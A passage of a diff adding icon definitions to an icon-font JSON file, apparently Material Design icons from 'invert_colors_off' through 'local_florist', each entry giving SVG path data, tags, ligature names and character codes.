"grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "invert_colors_off", + "id": 408, + "order": 419, + "prevSize": 24, + "code": 57540, + "name": "invert_colors_off" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 408 + }, + { + "icon": { + "paths": [ + "M726 726h-214v-64h214v64zM810 810v-596l-596 596h596zM234 320v64h86v86h64v-86h86v-64h-86v-86h-64v86h-86zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-596c0-46 40-86 86-86h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "iso" + ], + "defaultCode": 58358, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "iso", + "id": 409, + "order": 420, + "prevSize": 24, + "code": 58358, + "name": "iso" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 409 + }, + { + "icon": { + "paths": [ + "M810 426v-84h-84v84h84zM810 554v-84h-84v84h84zM682 426v-84h-84v84h84zM682 554v-84h-84v84h84zM682 726v-86h-340v86h340zM298 426v-84h-84v84h84zM298 554v-84h-84v84h84zM342 470v84h84v-84h-84zM342 342v84h84v-84h-84zM470 470v84h84v-84h-84zM470 342v84h84v-84h-84zM854 214c46 0 84 38 84 84v428c0 46-38 84-84 84h-684c-46 0-84-38-84-84v-428c0-46 38-84 84-84h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "keyboard" + ], + "defaultCode": 58130, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "keyboard", + "id": 410, + "order": 421, + "prevSize": 24, + "code": 58130, + "name": "keyboard" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 410 + }, + { + "icon": { + "paths": [ + "M316 334l196 196 196-196 60 60-256 256-256-256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "keyboard_arrow_down" + ], + "defaultCode": 58131, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "keyboard_arrow_down", + "id": 411, + "order": 422, + "prevSize": 24, + "code": 58131, + "name": "keyboard_arrow_down" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 411 + }, + { + "icon": { + "paths": [ + "M658 686l-60 60-256-256 256-256 60 60-196 196z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "keyboard_arrow_left" + ], + "defaultCode": 58132, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "keyboard_arrow_left", + "id": 412, + "order": 423, + "prevSize": 24, + "code": 58132, + "name": "keyboard_arrow_left" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 412 + }, + { + "icon": { + "paths": [ + "M366 698l196-196-196-196 60-60 256 256-256 256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "keyboard_arrow_right" + ], + "defaultCode": 58133, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "keyboard_arrow_right", + "id": 413, + "order": 424, + "prevSize": 24, + "code": 58133, + "name": "keyboard_arrow_right" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 413 + }, + { + "icon": { + "paths": [ + "M316 658l-60-60 256-256 256 256-60 60-196-196z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "keyboard_arrow_up" + ], + "defaultCode": 58134, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "keyboard_arrow_up", + "id": 414, + "order": 425, + "prevSize": 24, + "code": 58134, + "name": "keyboard_arrow_up" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 414 + }, + { + "icon": { + "paths": [ + "M896 470v84h-604l152 154-60 60-256-256 256-256 60 60-152 154h604z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "keyboard_backspace" + ], + "defaultCode": 58135, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "keyboard_backspace", + "id": 415, + "order": 426, + "prevSize": 24, + "code": 58135, + "name": "keyboard_backspace" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 415 + }, + { + "icon": { + "paths": [ + "M256 768v-86h512v86h-512zM512 358l-196 196-60-60 256-256 256 256-60 60z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "keyboard_capslock" + ], + "defaultCode": 58136, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "keyboard_capslock", + "id": 416, + "order": 427, + "prevSize": 24, + "code": 58136, + "name": "keyboard_capslock" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 416 + }, + { + "icon": { + "paths": [ + "M512 982l-170-172h340zM810 342v-86h-84v86h84zM810 470v-86h-84v86h84zM682 342v-86h-84v86h84zM682 470v-86h-84v86h84zM682 640v-86h-340v86h340zM298 342v-86h-84v86h84zM298 470v-86h-84v86h84zM342 384v86h84v-86h-84zM342 256v86h84v-86h-84zM470 384v86h84v-86h-84zM470 256v86h84v-86h-84zM854 128c46 0 84 40 84 86v426c0 46-38 86-84 86h-684c-46 0-84-40-84-86v-426c0-46 38-86 84-86h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "keyboard_hide" + ], + "defaultCode": 58138, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "keyboard_hide", + "id": 417, + "order": 428, + "prevSize": 24, + "code": 58138, + "name": "keyboard_hide" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 417 + }, + { + "icon": { + "paths": [ + "M810 298h86v256h-648l154 154-60 60-256-256 256-256 60 60-154 154h562v-172z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "keyboard_return" + ], + "defaultCode": 58139, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "keyboard_return", + "id": 418, + "order": 429, + "prevSize": 24, + "code": 58139, + "name": "keyboard_return" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 418 + }, + { + "icon": { + "paths": [ + "M854 256h84v512h-84v-512zM494 316l60-60 256 256-256 256-60-60 154-154h-606v-84h606z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "keyboard_tab" + ], + "defaultCode": 58140, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "keyboard_tab", + "id": 419, + "order": 430, + "prevSize": 24, + "code": 58140, + "name": "keyboard_tab" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 419 + }, + { + "icon": { + "paths": [ + "M738 512h72c0 146-116 266-256 286v140h-84v-140c-140-20-256-140-256-286h72c0 128 108 218 226 218s226-90 226-218zM512 640c-70 0-128-58-128-128v-256c0-70 58-128 128-128s128 58 128 128v256c0 70-58 128-128 128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "keyboard_voice" + ], + "defaultCode": 58141, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "keyboard_voice", + "id": 420, + "order": 431, + "prevSize": 24, + "code": 58141, + "name": "keyboard_voice" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 420 + }, + { + "icon": { + "paths": [ + "M342 512h84v214h-84v-214zM342 214h84v128h-84v-128zM768 384v-214h-512v214h512zM768 854v-386h-512v386h512zM768 86c46 0 86 36 86 84v684c0 46-40 84-86 84h-512c-46 0-86-38-86-84v-684c0-48 40-84 86-84h512z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "kitchen" + ], + "defaultCode": 60231, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "kitchen", + "id": 421, + "order": 432, + "prevSize": 24, + "code": 60231, + "name": "kitchen" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 421 + }, + { + "icon": { + "paths": [ + "M752 250l186 262-186 262c-16 22-42 36-70 36h-468c-46 0-86-38-86-84v-428c0-46 40-84 86-84h468c28 0 54 14 70 36z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "label" + ], + "defaultCode": 59538, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "label", + "id": 422, + "order": 433, + "prevSize": 24, + "code": 59538, + "name": "label" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 422 + }, + { + "icon": { + "paths": [ + "M682 726l152-214-152-214h-468v428h468zM752 250l186 262-186 262c-16 22-42 36-70 36h-468c-46 0-86-38-86-84v-428c0-46 40-84 86-84h468c28 0 54 14 70 36z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "label_outline" + ], + "defaultCode": 59539, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "label_outline", + "id": 423, + "order": 434, + "prevSize": 24, + "code": 59539, + "name": "label_outline" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 423 + }, + { + "icon": { + "paths": [ + "M698 598h144c6-28 12-56 12-86s-6-58-12-86h-144c4 28 6 56 6 86s-2 58-6 86zM622 834c78-26 146-82 186-152h-126c-14 54-34 104-60 152zM612 598c4-28 6-56 6-86s-2-58-6-86h-200c-4 28-6 56-6 86s2 58 6 86h200zM512 852c36-52 64-108 82-170h-164c18 62 46 118 82 170zM342 342c14-54 34-104 60-152-78 26-146 82-186 152h126zM216 682c40 70 108 126 186 152-26-48-46-98-60-152h-126zM182 598h144c-4-28-6-56-6-86s2-58 6-86h-144c-6 28-12 56-12 86s6 58 12 86zM512 172c-36 52-64 108-82 170h164c-18-62-46-118-82-170zM808 342c-40-70-108-126-186-152 26 48 46 98 60 152h126zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "language" + ], + "defaultCode": 59540, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "language", + "id": 424, + "order": 435, + "prevSize": 24, + "code": 59540, + "name": "language2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 424 + }, + { + "icon": { + "paths": [ + "M854 640v-426h-684v426h684zM598 768v-42h-172v42h172zM938 768h86v86h-1024v-86h86v-640h852v640z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "laptop_chromebook" + ], + "defaultCode": 58143, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "laptop_chromebook", + "id": 425, + "order": 436, + "prevSize": 24, + "code": 58143, + "name": "laptop_chromebook" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 425 + }, + { + "icon": { + "paths": [ + "M512 810c24 0 42-18 42-42s-18-42-42-42-42 18-42 42 18 42 42 42zM170 214v468h684v-468h-684zM854 768h170c0 46-40 86-86 86h-852c-46 0-86-40-86-86h170c-46 0-84-40-84-86v-468c0-46 38-86 84-86h684c46 0 84 40 84 86v468c0 46-38 86-84 86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "laptop_mac" + ], + "defaultCode": 58144, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "laptop_mac", + "id": 426, + "order": 437, + "prevSize": 24, + "code": 58144, + "name": "laptop_mac" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 426 + }, + { + "icon": { + "paths": [ + "M170 214v426h684v-426h-684zM854 768h170v86h-1024v-86h170v-42c-46 0-84-40-84-86v-426c0-46 38-86 84-86h684c46 0 84 40 84 86v426c0 46-38 86-84 86v42z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "laptop_windows" + ], + "defaultCode": 58145, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "laptop_windows", + "id": 427, + "order": 438, + "prevSize": 24, + "code": 58145, + "name": "laptop_windows" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 427 + }, + { + "icon": { + "paths": [ + "M682 256h86v512h-86v-512zM238 316l60-60 256 256-256 256-60-60 196-196z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "last_page" + ], + "defaultCode": 58845, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "last_page", + "id": 428, + "order": 439, + "prevSize": 24, + "code": 58845, + "name": "last_page" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 428 + }, + { + "icon": { + "paths": [ + "M598 128h298v298h-86v-152l-418 418-60-60 418-418h-152v-86zM810 810v-298h86v298c0 46-40 86-86 86h-596c-48 0-86-40-86-86v-596c0-46 38-86 86-86h298v86h-298v596h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "open_in_new" + ], + "defaultCode": 59550, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "launch, open_in_new", + "id": 429, + "order": 440, + "prevSize": 24, + "code": 59550, + "name": "open_in_new" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 429 + }, + { + "icon": { + "paths": [ + "M512 682c-128.024-99.309-255.626-199.040-384-298l384-298 384 298c-128.375 98.958-255.974 198.693-384 298zM512 792l314-246 70 54-384 298-384-298 70-54z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "layers" + ], + "defaultCode": 58683, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "layers", + "id": 430, + "order": 441, + "prevSize": 24, + "code": 58683, + "name": "layers" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 430 + }, + { + "icon": { + "paths": [ + "M140 42l798 800-54 54-160-162-212 164-384-298 70-54 314 246 150-118-60-60-90 68c-128.024-99.309-255.626-199.040-384-298l138-108-180-180zM896 384c-57.761 44.239-114.863 89.137-172 134l-336-336 124-96zM846 640l-62-62 50-38 62 60z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "layers_clear" + ], + "defaultCode": 58684, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "layers_clear", + "id": 431, + "order": 442, + "prevSize": 24, + "code": 58684, + "name": "layers_clear" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 431 + }, + { + "icon": { + "paths": [ + "M598 896c0-166 132-298 298-298v84c-118 0-214 96-214 214h-84zM768 896c0-70 58-128 128-128v128h-128zM426 896c0-258 212-470 470-470v86c-212 0-384 172-384 384h-86zM426 128c0 166-132 298-298 298v-84c118 0 214-96 214-214h84zM598 128c0 258-210 470-470 470v-86c212 0 384-172 384-384h86zM256 128c0 70-58 128-128 128v-128h128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "leak_add" + ], + "defaultCode": 58360, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "leak_add", + "id": 432, + "order": 443, + "prevSize": 24, + "code": 58360, + "name": "leak_add" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 432 + }, + { + "icon": { + "paths": [ + "M656 494c70-42 152-68 240-68v86c-64 0-124 16-178 44zM850 688l-68-68c34-14 74-22 114-22v84c-16 0-32 2-46 6zM598 128c0 88-26 170-68 240l-62-62c28-54 44-114 44-178h86zM128 182l54-54 714 714-54 54-122-122c-24 34-38 76-38 122h-84c0-68 24-132 62-182l-62-60c-54 66-86 150-86 242h-86c0-116 42-222 112-304l-106-106c-82 70-188 112-304 112v-86c92 0 178-32 244-86l-62-62c-50 38-114 62-182 62v-84c46 0 88-14 122-38zM426 128c0 40-8 80-22 114l-68-68c4-14 6-30 6-46h84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "leak_remove" + ], + "defaultCode": 58361, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "leak_remove", + "id": 433, + "order": 444, + "prevSize": 24, + "code": 58361, + "name": "leak_remove" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 433 + }, + { + "icon": { + "paths": [ + "M512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "lens" + ], + "defaultCode": 58362, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "lens", + "id": 434, + "order": 445, + "prevSize": 24, + "code": 58362, + "name": "lens" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 434 + }, + { + "icon": { + "paths": [ + "M810 298v-84h-426v84h426zM640 640v-86h-256v86h256zM810 470v-86h-426v86h426zM854 86c46 0 84 38 84 84v512c0 46-38 86-84 86h-512c-46 0-86-40-86-86v-512c0-46 40-84 86-84h512zM170 256v598h598v84h-598c-46 0-84-38-84-84v-598h84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "library_books" + ], + "defaultCode": 57391, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "library_books", + "id": 435, + "order": 446, + "prevSize": 24, + "code": 57391, + "name": "library_books" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 435 + }, + { + "icon": { + "paths": [ + "M170 256v598h598v84h-598c-46 0-84-38-84-84v-598h84zM768 298v-84h-170v234c-18-14-40-22-64-22-58 0-108 50-108 108s50 106 108 106 106-48 106-106v-236h128zM854 86c46 0 84 38 84 84v512c0 46-38 86-84 86h-512c-46 0-86-40-86-86v-512c0-46 40-84 86-84h512z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "library_music" + ], + "defaultCode": 57392, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "library_music", + "id": 436, + "order": 447, + "prevSize": 24, + "code": 57392, + "name": "library_music" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 436 + }, + { + "icon": { + "paths": [ + "M634 558c58-40 92-104 92-174 0-118-96-214-214-214s-214 96-214 214c0 70 34 134 92 174l36 26v98h172v-98zM512 86c164 0 298 134 298 298 0 102-50 190-128 244v98c0 24-18 42-42 42h-256c-24 0-42-18-42-42v-98c-78-54-128-142-128-244 0-164 134-298 298-298zM384 896v-42h256v42c0 24-18 42-42 42h-172c-24 0-42-18-42-42z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "lightbulb_outline" + ], + "defaultCode": 59663, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "lightbulb_outline", + "id": 437, + "order": 448, + "prevSize": 24, + "code": 59663, + "name": "lightbulb_outline" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 437 + }, + { + "icon": { + "paths": [ + "M128 170h768v172h-768v-172zM554 512v-86h342v86h-342zM128 512v-86h342v86h-342zM810 854v-86h86v86h-86zM640 854v-86h86v86h-86zM470 854v-86h84v86h-84zM298 854v-86h86v86h-86zM128 854v-86h86v86h-86zM682 682v-84h214v84h-214zM406 682v-84h212v84h-212zM128 682v-84h214v84h-214z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "line_style" + ], + "defaultCode": 59673, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "line_style", + "id": 438, + "order": 449, + "prevSize": 24, + "code": 59673, + "name": "line_style" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 438 + }, + { + "icon": { + "paths": [ + "M128 170h768v172h-768v-172zM128 554v-128h768v128h-768zM128 854v-44h768v44h-768zM128 726v-86h768v86h-768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "line_weight" + ], + "defaultCode": 59674, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "line_weight", + "id": 439, + "order": 450, + "prevSize": 24, + "code": 59674, + "name": "line_weight" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 439 + }, + { + "icon": { + "paths": [ + "M832 406c58 0 106 48 106 106s-48 106-106 106c-44 0-82-26-98-64h-124c-16 38-54 64-98 64s-82-26-98-64h-124c-16 38-54 64-98 64-58 0-106-48-106-106s48-106 106-106c44 0 82 26 98 64h124c16-38 54-64 98-64s82 26 98 64h124c16-38 54-64 98-64z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "linear_scale" + ], + "defaultCode": 57952, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "linear_scale", + "id": 440, + "order": 451, + "prevSize": 24, + "code": 57952, + "name": "linear_scale" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 440 + }, + { + "icon": { + "paths": [ + "M682 256c48 0 86 38 86 86h56c0-78-64-142-142-142v56zM512 810c118 0 214-94 214-212s-96-214-214-214-214 96-214 214 96 212 214 212zM726 384h212v470c0 46-38 84-84 84h-684c-46 0-84-38-84-84v-512c0-46 38-86 84-86h136l78-86h256v128c48 0 86 38 86 86zM682 142v-56c142 0 256 114 256 256h-56c0-110-90-200-200-200zM376 598c0-76 60-138 136-138s136 62 136 138-60 136-136 136-136-60-136-136z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "linked_camera" + ], + "defaultCode": 58424, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "linked_camera", + "id": 441, + "order": 452, + "prevSize": 24, + "code": 58424, + "name": "linked_camera" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 441 + }, + { + "icon": { + "paths": [ + "M298 298h598v86h-598v-86zM298 726v-86h598v86h-598zM298 554v-84h598v84h-598zM128 384v-86h86v86h-86zM128 726v-86h86v86h-86zM128 554v-84h86v84h-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "list" + ], + "defaultCode": 59542, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "list", + "id": 442, + "order": 453, + "prevSize": 24, + "code": 59542, + "name": "list2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 442 + }, + { + "icon": { + "paths": [ + "M642 438c24-24 40-58 40-96 0-94-76-172-170-172s-170 78-170 172h84c0-46 40-86 86-86s86 40 86 86c0 24-10 44-26 60l-52 54c-30 32-50 74-50 120v22h84c0-64 20-90 50-122zM554 768v-86h-84v86h84zM810 86c46 0 86 38 86 84v598c0 46-40 86-86 86h-170l-128 128-128-128h-170c-48 0-86-40-86-86v-598c0-46 38-84 86-84h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "live_help" + ], + "defaultCode": 57542, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "live_help", + "id": 443, + "order": 454, + "prevSize": 24, + "code": 57542, + "name": "live_help" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 443 + }, + { + "icon": { + "paths": [ + "M384 426l298 172-298 170v-342zM896 854v-512h-768v512h768zM896 256c46 0 86 38 86 86v512c0 46-40 84-86 84h-768c-46 0-86-38-86-84v-512c0-48 40-86 86-86h324l-140-140 30-30 170 170 170-170 30 30-140 140h324z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "live_tv" + ], + "defaultCode": 58937, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "live_tv", + "id": 444, + "order": 455, + "prevSize": 24, + "code": 58937, + "name": "live_tv" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 444 + }, + { + "icon": { + "paths": [ + "M664 716l-46-174 140-116-180-10-66-168-66 168-182 10 142 116-46 174 152-98zM854 512c0 46 38 86 84 86v170c0 46-38 86-84 86h-684c-46 0-84-40-84-86v-170c48 0 84-40 84-86s-38-86-84-86v-170c0-46 38-86 84-86h684c46 0 84 40 84 86v170c-46 0-84 40-84 86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "local_play" + ], + "defaultCode": 58707, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "local_activity, local_play", + "id": 445, + "order": 456, + "prevSize": 24, + "code": 58707, + "name": "local_play" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 445 + }, + { + "icon": { + "paths": [ + "M896 682l-342-106v234l86 64v64l-150-42-148 42v-64l84-64v-234l-340 106v-84l340-214v-234c0-36 28-64 64-64s64 28 64 64v234l342 214v84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "local_airport" + ], + "defaultCode": 58685, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "local_airport", + "id": 446, + "order": 457, + "prevSize": 24, + "code": 58685, + "name": "local_airport" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 446 + }, + { + "icon": { + "paths": [ + "M854 768v-512h-684v512h684zM854 170c48 0 84 38 84 86v512c0 48-36 86-84 86h-684c-48 0-84-38-84-86v-512c0-48 36-86 84-86h684zM470 726v-44h-86v-84h170v-44h-128c-24 0-42-18-42-42v-128c0-24 18-42 42-42h44v-44h84v44h86v84h-170v44h128c24 0 42 18 42 42v128c0 24-18 42-42 42h-44v44h-84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "local_atm" + ], + "defaultCode": 58686, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "local_atm", + "id": 447, + "order": 458, + "prevSize": 24, + "code": 58686, + "name": "local_atm" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 447 + }, + { + "icon": { + "paths": [ + "M318 298h388l76-84h-540zM896 214l-342 384v212h214v86h-512v-86h214v-212l-342-384v-86h768v86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "local_bar" + ], + "defaultCode": 58688, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "local_bar", + "id": 448, + "order": 459, + "prevSize": 24, + "code": 58688, + "name": "local_bar" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 448 + }, + { + "icon": { + "paths": [ + "M86 896v-86h768v86h-768zM854 342v-128h-86v128h86zM854 128c48 0 84 38 84 86v128c0 48-36 84-84 84h-86v128c0 94-76 172-170 172h-256c-94 0-172-78-172-172v-426h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "local_cafe" + ], + "defaultCode": 58689, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "local_cafe", + "id": 449, + "order": 460, + "prevSize": 24, + "code": 58689, + "name": "local_cafe" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 449 + }, + { + "icon": { + "paths": [ + "M214 554h596l-64-192h-468zM746 768c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM278 768c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM808 342l88 256v340c0 24-18 44-42 44h-44c-24 0-42-20-42-44v-42h-512v42c0 24-18 44-42 44h-44c-24 0-42-20-42-44v-340l88-256c8-26 34-44 62-44h468c28 0 54 18 62 44zM298 214c-36 0-64-28-64-64 0-42 64-116 64-116s64 74 64 116c0 36-28 64-64 64zM512 214c-36 0-64-28-64-64 0-42 64-116 64-116s64 74 64 116c0 36-28 64-64 64zM726 214c-36 0-64-28-64-64 0-42 64-116 64-116s64 74 64 116c0 36-28 64-64 64z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "local_car_wash" + ], + "defaultCode": 58690, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "local_car_wash", + "id": 450, + "order": 461, + "prevSize": 24, + "code": 58690, + "name": "local_car_wash" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 450 + }, + { + "icon": { + "paths": [ + "M682 512v-214h-42v86h-42v-86h-44v128h86v86h42zM470 426v-128h-128v44h84v42h-84v128h128v-42h-86v-44h86zM810 298h128v556h-340v-172h-172v172h-340v-556h128v-128h596v128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "local_convenience_store" + ], + "defaultCode": 58691, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "local_convenience_store", + "id": 451, + "order": 462, + "prevSize": 24, + "code": 58691, + "name": "local_convenience_store" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 451 + }, + { + "icon": { + "paths": [ + "M634 492l-62 62 294 294-60 60-294-294-294 294-60-60 416-416c-30-66-8-158 60-226 82-82 198-96 260-34s48 180-34 262c-68 68-160 88-226 58zM346 570l-180-180c-66-66-66-174 0-240l300 298z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "restaurant_menu" + ], + "defaultCode": 58721, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "local_dining, restaurant_menu", + "id": 452, + "order": 463, + "prevSize": 24, + "code": 58721, + "name": "restaurant_menu" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 452 + }, + { + "icon": { + "paths": [ + "M782 342l18-172h-576l18 172h540zM512 810c70 0 128-58 128-128 0-86-128-230-128-230s-128 144-128 230c0 70 58 128 128 128zM128 86h768l-86 778c-6 42-40 74-84 74h-428c-44 0-78-32-84-74z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "local_drink" + ], + "defaultCode": 58692, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "local_drink", + "id": 453, + "order": 464, + "prevSize": 24, + "code": 58692, + "name": "local_drink" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 453 + }, + { + "icon": { + "paths": [ + "M512 234c-58 0-106 50-106 108s48 106 106 106 106-48 106-106-48-108-106-108zM238 438c0-42 26-78 62-96-36-18-62-54-62-96 0-58 50-108 108-108 22 0 42 8 60 20v-8c0-58 48-108 106-108s106 50 106 108v8c18-12 38-20 60-20 58 0 108 50 108 108 0 42-26 78-62 96 36 18 62 54 62 96 0 58-50 106-108 106-22 0-42-6-60-18v8c0 58-48 106-106 106s-106-48-106-106v-8c-18 12-38 18-60 18-58 0-108-48-108-106zM512 938c-212 0-384-172-384-384 212 0 384 172 384 384zM512 938c0-212 172-384 384-384 0 212-172 384-384 384z" + ], + "attrs": [], + "isMulticolor": false, + 